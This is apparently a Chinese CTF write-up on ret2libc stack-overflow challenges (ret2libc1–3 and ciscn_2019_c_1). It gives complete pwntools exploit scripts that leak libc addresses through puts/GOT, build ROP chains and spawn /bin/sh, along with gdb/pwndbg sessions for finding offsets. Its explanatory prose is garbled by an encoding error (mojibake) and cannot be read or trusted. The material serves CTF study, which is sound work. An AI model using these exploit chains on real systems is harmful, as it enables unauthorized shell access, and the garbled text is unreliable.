ç宿çäºå±äºæ¯ïŒè¿ç»å 次æ¯èµäžé¢åäžåºæ¥ïŒåŸå°äºzbrç¹çææç¹ç¹ïŒå³å®èªè£ã
æŽã
ret2libc1â
æ£æ¥äžäžä¿æ€ïŒæ²¡æCanary乿²¡æPIEïŒ32äœELF
åšstringå衚éå³çåŸå°system
ä¹çåŸå°/bin/sh
ç®åçæé äžäžªåœæ°èŠçè¿åå°åå³å¯
from pwn import *
context.log_level='DEBUG'
context.arch='amd64'
context.os='linux'
sh = process("./ret2libc1")
elf = ELF("./ret2libc1")
system_addr = 0x8048460 # plt
# system_addr = elf.plt["system"] # it works as well
binsh_addr = 0x08048720
sh.recvuntil(b"RET2LIBC >_<\n")
payload = b'A'*(0x6c+0x04) + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
sh.sendline(payload)
sh.interactive()
诎äžäžäžäºç¹
-
systemçå°ååºåplt衚éçsystemïŒèäžæ¯stringéçå°çé£äžªsystemãåå åè§PLT / GOT - åšæç»å®
-
è¿é¢äžåšIDAäžå¯ä»¥çå°
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
ïŒè·çŠ»ebpæ¯0x64 bytes
ïŒäœå®é äžåŽæ¯0x6c bytes
-
è¿ééäžmarkç¹çè§£ç
-
é£åŠäœè®¡ç®åç§»å¢ïŒè¿éæäŸgdbåpwndbgçäž€ç§æ¹æ³
-
gdb
- æŸå°call _getsçå°åïŒå¯ä»¥çå°äžé¢å°±æ¯s
-
æä»¬åš0x0804867Bè¿éäžäžäžªæç¹
gdb ./ret2libc
b *0x0804867E
rBreakpoint 2, 0x0804867e in main () at ret2libc1.c:27
27 in ret2libc1.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ[ REGISTERS ]âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ
EAX 0xffffcf3c ââ 0x0
EBX 0x0
ECX 0xffffffff
EDX 0xffffffff
EDI 0xf7fb4000 (_GLOBAL_OFFSET_TABLE_) ââ 0x1ead6c
ESI 0xf7fb4000 (_GLOBAL_OFFSET_TABLE_) ââ 0x1ead6c
EBP 0xffffcfa8 ââ 0x0
ESP 0xffffcf20 ââž 0xffffcf3c ââ 0x0
*EIP 0x804867e (main+102) ââž 0xfffdade8 ââ 0xfffdade8
ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ[ DISASM ]ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ ââââââââââââââââ
0x804867b <main+99> mov dword ptr [esp], eax
⺠0x804867e <main+102> call gets@plt <gets@plt>
arg[0]: 0xffffcf3c ââ 0x0
arg[1]: 0x0
arg[2]: 0x1
arg[3]: 0x0
0x8048683 <main+107> mov eax, 0
0x8048688 <main+112> leave
0x8048689 <main+113> ret
0x804868a nop
0x804868c nop
0x804868e nop
0x8048690 <__libc_csu_init> push ebp
0x8048691 <__libc_csu_init+1> push edi
0x8048692 <__libc_csu_init+2> xor edi, edi
ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ[ STACK ]âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ
00:0000â esp 0xffffcf20 ââž 0xffffcf3c ââ 0x0
01:0004â 0xffffcf24 ââ 0x0
02:0008â 0xffffcf28 ââ 0x1
03:000câ 0xffffcf2c ââ 0x0
... â 2 skipped
06:0018â 0xffffcf38 ââž 0xf7ffd000 ââ 0x2bf24
07:001câ eax 0xffffcf3c ââ 0x0
ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ[ BACKTRACE ]âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ
⺠f 0 0x804867e main+102
f 1 0xf7de7ee5 __libc_start_main+245
f 2 0x80484f1 _start+33
ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââåšå¯ååš[REGISTERS]äžæä»¬å¯ä»¥çå°sçå°åæ¯
0xffffcf3c
ïŒå¯¹äºESPçå°å0xffffcf20
çåç§»æ¯0x1c
ïŒè¿äžæä»¬åšIDAäžæçå°çæ¯äžèŽçãåæ¶ïŒæ³šæå°EBPçå°å0xffffcfa8
ïŒç»è¿å°åŠäºå¹Žçº§çå åæ³å³å¯åŸåºEBPåESPçåç§»æ¯0x88
ïŒé£EBPäžsçåç§»ä¹å°±æ¯0x88-0x1c = 0x6c
äºïŒåšIDAäžåŽçå°[ebp-64h]
ïŒäžæå§
-
pwnbdg
è¿äžªæææ¶æ²¡çšå€ªæçœïŒïŒïŒåå®äºå»ççpwndbgçdocuments
-
éŠå çæç¹ååŸå笊
pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab -
忬¡è¿è¡çšåºïŒèŸå ¥ çæçååŸå笊
pwndbg> r
Starting program: /home/nova/Desktop/CTF/ctf-wiki/ret2libc/ret2libc1
RET2LIBC >_<
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ[ REGISTERS ]âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ
EAX 0x0
EBX 0x0
ECX 0xf7fb4580 (_IO_2_1_stdin_) ââ 0xfbad2288
EDX 0xffffd004 ââž 0xf7fe7b00 ââ push eax /* 'Pj' */
EDI 0xf7fb4000 (_GLOBAL_OFFSET_TABLE_) ââ 0x1ead6c
ESI 0xf7fb4000 (_GLOBAL_OFFSET_TABLE_) ââ 0x1ead6c
EBP 0x62616163 ('caab')
ESP 0xffffcfb0 ââ 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
EIP 0x62616164 ('daab')
ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ[ DISASM ]ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ
Invalid address 0x62616164 -
æ€æ¶çå°å®ç»åºäºäžäžªInvalid address
æ§è¡
cyclic -l addr
pwndbg> cyclic -l 0x62616164
112112å°±æ¯s对äºè¿åå°åçåç§»åŒïŒéåžžçAmazingåïŒ
-
-
-
-
systemåœæ°ä¹æè¿åå°åïŒæä»¥åšäžéŽèŠè¡¥äžäžªåœæ°ïŒ
0xdeadbeef
æ¯æèªå·±çæ¶è¶£å³ïŒïŒïŒåp32(0)
æèb"AAAA"
å°±å¯ä»¥äºã -
32äœäŒ åå°±æ¯ä»æ äžä»å³åå·Šæ¿åæ°ïŒ64äœåå äžªåæ°å鿝éè¿å¯ååš
rdi,rsi,rdx,rcx,r8,r9
ç顺åºäŒ åïŒå©äœçåæç §32äœä»å³åå·Šåæ
ret2libc2â
è¿é¢åšret2libc1çåºç¡äžå»æäºbinsh
å笊䞲ãä¹å°±æ¯è¯ŽïŒæä»¬éèŠèªå·±æå»ºäžäžªgets
èŸå
¥/bin/sh
å¹¶äœäžºsystem
çåæ°åŒçšã
åšvmmap
äžå¯ä»¥çå°dataè¿äžªå
å页æ¯å¯åç
0x804a000 0x804b000 rw-p 1000 1000 /home/nova/Desktop/CTF/ctf-wiki/ret2libc/ret2libc2
é£ä¹æä»¬èèå°/bin/sh
åå
¥å°bss段äžçbuf2
å€
æè·¯åŸææŸäºïŒ
- åšçšåºçgetsäžèŠçè¿åå°å尿们æ°çgets
- æ°çgetså°èŸå ¥åå°buf2å°åå€ïŒå¹¶è¿åå°systemåœæ°
- systemåœæ°è°çšbuf2å€çæ°æ®äœäžºåæ°
æ¥äžæ¥å°±æ¯åŠäœçŒåpayload
ç»åºäž€äžªexpã
EXP1â
from pwn import *
sh = process('./ret2libc2')
elf = ELF("./ret2libc2")
get_plt = elf.plt["gets"]
system_plt = elf.plt["system"]
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()
åšè¿éïŒæ°æå»ºçgets
çè¿åå°åæ¯pop_ebx
ïŒäž»èŠç®çæ¯äžºäºæ 垧平衡
pop ebx; ret
pop ebx
å°æ é¡¶æ°æ®ååºåæŸè³ebxïŒesp+4
ret
å°æ é¡¶æ°æ®ååºåæŸè³eipïŒesp+4è¿æ ·espå°±æåäºæä»¬ç
system_plt
ïŒå¯¹åºçïŒ0xdeadbeef
äœäžºsystemçè¿åå°åïŒé䟿填
EXP2â
from pwn import *
sh = process("./ret2libc2")
elf = ELF("./ret2libc2")
system_plt = elf.plt["system"]
buf_addr = 0x804a080
get_plt = elf.plt["gets"]
sh.recvuntil(b"you think ?")
payload = b'A'*(0x6c+0x04) + p32(get_plt) + p32(system_plt) + p32(buf_addr) + p32(buf_addr)
sh.sendline(payload)
sh.sendline("/bin/sh")
sh.interactive()
åšè¿éïŒæä»¬çŽæ¥å°system_plt
äœäžºgets
çè¿åå°åã
æ€æ¶èŠæ³šæçæ¯ïŒç±äºæ²¡æå¹³è¡¡æ åž§ïŒç¬¬äžäžªp32(buf_addr)
å
¶å®è¿è¡äºäžæå€çšïŒå®æ¢äœäžºgets
çåæ°ïŒåäœäžºsystem
çè¿åå°åã
ret2libc3â
对äºpwnæ¥è¯ŽïŒæŽæçœäºè¿äžªåºè¯¥æç®ååå ¥éš:(
没æsystemïŒæ²¡æbinshïŒé å»¶è¿ç»å®æ³é²å·²ç»æ§è¡è¿åœæ°ççå®å°åç®åºåç§»äžåºå°åæå°systemåbinshçå°å
åšè¿éæä»¬æ³é²puts
çå°å奜äº
éŠå
æå°puts
çpltågot衚å°å
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['_start']
èŠçmain
çè¿åå°åå°puts
ïŒåæ°äžºputs_got
ïŒè¿åå°main
æä»¬è¿åå°mainæ¶æå¥œè¿åå°
_start
ïŒè¥è¿åå°main
çè¯ïŒæº¢åºçåç§»äŒ**-8bytes**çšåºå ¥å£
_start
->_libc_start_main
->main
å 䞺putså·²ç»è°çšè¿äžæ¬¡ïŒæä»¥æ€æ¶puts_got
衚åçå
容就æ¯puts
ççå®å°å
payload = b'A'*112
payload += p32(puts_plt) + p32(main_addr) + p32(puts_got)
sh.recvuntil(b"it !?")
sh.sendline(payload)
puts_addr = u32(sh.recv()[:4]) # 32äœELFïŒæä»¥åååäœå³å¯
print("puts_addr: ", hex(puts_addr))
æ€æ¶æä»¬å¯ä»¥ç®åºlibcçåç§»åŒ
libc_base = puts_addr - libc.sys['gots']
æäºåç§»åŒïŒsystemåbinshçå°åä¹å°±åºæ¥äº
EXP1â
from pwn import *
context.log_level='DEBUG'
context.arch='amd64'
context.os='linux'
sh = process("./ret2libc3")
elf = ELF("./ret2libc3")
libc = ELF("/usr/lib/i386-linux-gnu/libc-2.31.so")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['_start']
payload = b'A'*112
payload += p32(puts_plt) + p32(main_addr) + p32(puts_got)
sh.recvuntil(b"it !?")
sh.sendline(payload)
puts_addr = u32(sh.recv()[:4])
print("puts_addr: ", hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
print(hex(libc_base))
sys_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'A'*112
payload2 += p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)
gdb.attach(sh, 'b gets')
sh.sendline(payload2)
sh.interactive()
EXP2â
from pwn import *
context.log_level='DEBUG'
context.arch='amd64'
context.os='linux'
sh = process("./ret2libc3")
elf = ELF("./ret2libc3")
libc = ELF("/usr/lib/i386-linux-gnu/libc-2.31.so")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload = b'A'*112
payload += p32(puts_plt) + p32(main_addr) + p32(puts_got)
sh.recvuntil(b"it !?")
sh.sendline(payload)
puts_addr = u32(sh.recv()[:4])
print("puts_addr: ", hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
print(hex(libc_base))
sys_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'A'*104
payload2 += p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)
gdb.attach(sh, 'b gets')
sh.sendline(payload2)
sh.interactive()
LIBCçæ¬æ¥æŸâ
èœç¶è¯Žç°åšé¢åºæ¬äžéœæ
libc.so
ïŒäœæ¯ä»¥é²äžäžè¿æ¯ç»äžäžªæ±libcçæ¬çæ¹æ³
äœ¿çšæ¹æ³åŸç®åïŒå 䞺libcçäœåäºäœäžäŒåïŒæä»¥ç»åºå·²æ³é²çåœæ°çå°åïŒå°±å¯ä»¥åšè¿éæŸå°å¯¹åºçlibc.soçæ¬åçžå ³Offset
ciscn_2019_c_1â
倧äœäžåret2libc3çžåïŒäžè¿æ¯64bitsçïŒç®æ¯äžäžªä»32->64ç蜬åçé¢ç®
çŽæ¥äžexp(æ¬å°)
from pwn import *
context.log_level='DEBUG'
context.arch='amd64'
context.os='linux'
sh = process("./ciscn_2019_c_1")
libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")
elf = ELF("./ciscn_2019_c_1")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
encrypt_addr = elf.symbols['encrypt']
pop_rdi_ret = 0x0400c83
ret = 0x4006b9
sh.recvuntil(b"Input your choice!\n")
sh.sendline(b'1')
payload = b'A' * (0x50+0x08) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(encrypt_addr)
sh.recvuntil("Input your Plaintext to be encrypted\n")
sh.sendline(payload)
sh.recvuntil("Ciphertext\n")
sh.recvline()
puts_addr = u64(sh.recvuntil('\n', drop=True).ljust(8, b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'A' * (0x50+0x08) + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(0)
sh.recvuntil(b"Input your Plaintext to be encrypted\n")
sh.sendline(payload2)
sh.interactive()
å 䞪éèŠæ³šæçç¹ïŒ
-
å 䞺æ¯64äœïŒæä»¥åé¢6äžªåæ°äŒ åæ¶åéèŠäœ¿çšå¯ååš
rdi,rsi,rdx,rcx,r8,r9
ïŒéèŠæŸROPgadgets -
payload2åœäžçp64(ret)æ¯äžºäºå æ å¹³è¡¡é²æ¢èææºåŽ©æºïŒåŽ©äºå «äžæ¬¡äºïŒïŒè¯Šæ å¯çãBUUCTFãPwn - Rip Ubuntu18äž64äœELFåšè°çšsystemæ¶åå¯èœåºç°çé®é¢
ç¹å«æè°¢
Markç¹å¯ä»¥è¯Žæ¯ææææäºæGDBççšæ³ïŒçè³åœäºäžªåå°æ¶çè§é¢ïŒçŽæ¥äžäžªå倎çç£â€â€â€